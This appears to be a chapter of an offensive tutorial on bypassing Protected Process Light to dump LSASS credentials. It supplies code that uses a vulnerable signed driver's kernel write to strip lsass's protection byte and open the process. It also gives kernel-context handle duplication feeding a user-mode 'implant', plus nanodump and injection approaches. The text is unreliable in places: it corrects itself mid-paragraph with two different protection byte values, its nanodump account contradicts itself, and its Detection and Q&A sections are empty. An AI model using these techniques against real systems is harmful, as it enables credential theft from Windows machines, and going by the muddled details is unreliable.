PPL Bypass for LSASS

Protected Process Light prevents OpenProcess from succeeding against lsass.exe — bypassing it via BYOVD kernel driver, nanodump's direct syscall trick, and handle duplication through kernel objects

PPL Architecture — How Protected Process Light Works

Protected Processes were introduced in Vista for media DRM. Protected Process Light (PPL) is a lighter variant added in Windows 8.1. The protection mechanism lives entirely in the kernel: the EPROCESS structure has a Protection field that encodes both the protection level and the signer type. When OpenProcess is called targeting a protected process, PsOpenProcess in ntoskrnl checks the calling process's protection level against the target's level and signer type, and returns ACCESS_DENIED if the caller is less trusted.

PPL Levels and Signer Types

The Protection byte in EPROCESS encodes (ProtectionLevel << 4) | SignerType. For lsass with RunAsPPL: Type=PPL (0x40), Signer=WinTcb (0x01) → combined byte = 0x41. Wait — actually the byte is structured as: bits[3:0] = Signer (PS_PROTECTED_SIGNER), bits[6:4] = Level (PS_PROTECTED_TYPE), bit[7] = Audit. For lsass PPL WinTcb: Signer=WinTcb=6, Level=PPL=1 → 0x61.

EPROCESS Protection Field

BYOVD Kernel Driver Bypass — Stripping the PPL Flag

With a kernel read/write primitive from a BYOVD driver (chapter 42 of Windows Internals book — rtcore64.sys, gdrv.sys, etc.), you can locate lsass's EPROCESS, find the Protection field, and overwrite it with 0x00. After the write, lsass is no longer a protected process and OpenProcess with PROCESS_VM_READ succeeds:

// Conceptual — requires a kernel write primitive from BYOVD driver
// Actual BYOVD driver IOCTL usage is driver-specific (rtcore64, gdrv, etc.)

BOOL StripLsassPPL() {
    // Step 1: Get lsass PID
    DWORD pid = GetLsassPid();

    // Step 2: Get kernel EPROCESS address for lsass
    // Method A: NtQuerySystemInformation(SystemProcessInformation) returns
    //   SYSTEM_PROCESS_INFORMATION structs; each has a UniqueProcessId.
    //   Does NOT return kernel addresses for unprotected callers.
    // Method B: Use NtQuerySystemInformation(SystemHandleInformation) to find
    //   a handle to lsass held by SYSTEM, then use BYOVD kernel read to follow
    //   HANDLE_TABLE_ENTRY -> EPROCESS.
    // Method C: Scan kernel memory for EPROCESS pool tag "Proc" (0x636f7250)
    //   via BYOVD kernel read, verify by checking UniqueProcessId field.

    ULONG_PTR eprocess = LocateEPROCESS(pid);  // via BYOVD

    // Step 3: Find Protection field offset
    // Offset is build-specific — hardcode for target build or resolve via
    // PsLookupProcessByProcessId + subtract KPROCESS base to find offset.
    // Reliable approach: use a hardcoded table indexed by OS build number.
    DWORD protectionOffset = GetProtectionOffset();  // e.g., 0x87a on Win10 22H2

    // Step 4: Write 0x00 to EPROCESS + protectionOffset via BYOVD kernel write
    UCHAR zero = 0x00;
    KernelWrite(eprocess + protectionOffset, &zero, sizeof(zero));

    // Step 5: Now OpenProcess succeeds
    HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
                                FALSE, pid);
    if (!hLsass) return FALSE;

    // Dump as in ch95 ...

    // Step 6: Restore protection (operational security — avoid persistent kernel modification)
    UCHAR original = 0x61;  // WinTcb PPL
    KernelWrite(eprocess + protectionOffset, &original, sizeof(original));
    return TRUE;
}

nanodump's Direct Syscall Approach — No Kernel Driver Needed

nanodump implements a clever trick to dump lsass even when RunAsPPL is enabled, without requiring a kernel driver. The key insight: NtReadVirtualMemory at the kernel level does not do a PPL access check when the calling process is already a PPL of sufficient signer level. The approach is to elevate the attacker's process to PPL status before making the read call.

Since PPL status is enforced by signing (you need a Microsoft-signed binary to run as PPL under normal circumstances), nanodump uses an undocumented trick: on older Windows builds, NtSetInformationProcess with ProcessProtectionInformation could elevate a process to PPL status if called from SYSTEM. This was patched, but the general concept — running a component as PPL by exploiting process creation or token tricks — remains the category of attack.

The practical nanodump approach for PPL-protected lsass uses a different method: fork a helper process that runs inside the PPL trust context by abusing the AddSecurityPackage / Security Support Provider loading mechanism. Here's the conceptual flow:

Handle Duplication via Kernel — No OpenProcess Required

The kernel object manager does not perform PPL access checks when duplicating handles — that check only happens in NtOpenProcess. If you can find a process that already holds a handle to lsass (the kernel has such handles internally for process management), you can duplicate that handle into your own process using NtDuplicateObject called from kernel level. The BYOVD driver provides the kernel context needed to call ZwDuplicateObject on behalf of your process:

// Handle duplication via kernel context (conceptual, requires BYOVD ring-0 execution)

// From kernel context (inside BYOVD driver's IOCTL handler or shellcode):

// Step 1: Find a process that holds a PROCESS_VM_READ handle to lsass
// csrss.exe typically has open handles to all processes in its session
// Use NtQuerySystemInformation(SystemHandleInformation) to enumerate handles

// Step 2: ZwDuplicateObject from kernel
NTSTATUS status = ZwDuplicateObject(
    sourceProcess,    // handle to the process that owns the lsass handle
    sourceHandle,     // the handle value (from SystemHandleInformation)
    targetProcess,    // handle to YOUR process (NtCurrentProcess() or PID lookup)
    &duplicatedHandle,
    PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
    0,
    DUPLICATE_SAME_ACCESS);

// Step 3: Pass duplicated handle back to user-mode implant
// Now the implant has a valid VM_READ handle to lsass
// without ever calling NtOpenProcess against a PPL process

Injecting Code into a PPL Process

An alternative approach that doesn't require dumping at all: if you can inject a shellcode or DLL into lsass itself, the injected code runs with full access to lsass's memory from inside the process. PPL restricts who can open the process — it doesn't restrict code that is already running inside it. The injection path for PPL processes must itself be PPL-compatible:

Detection

Q&A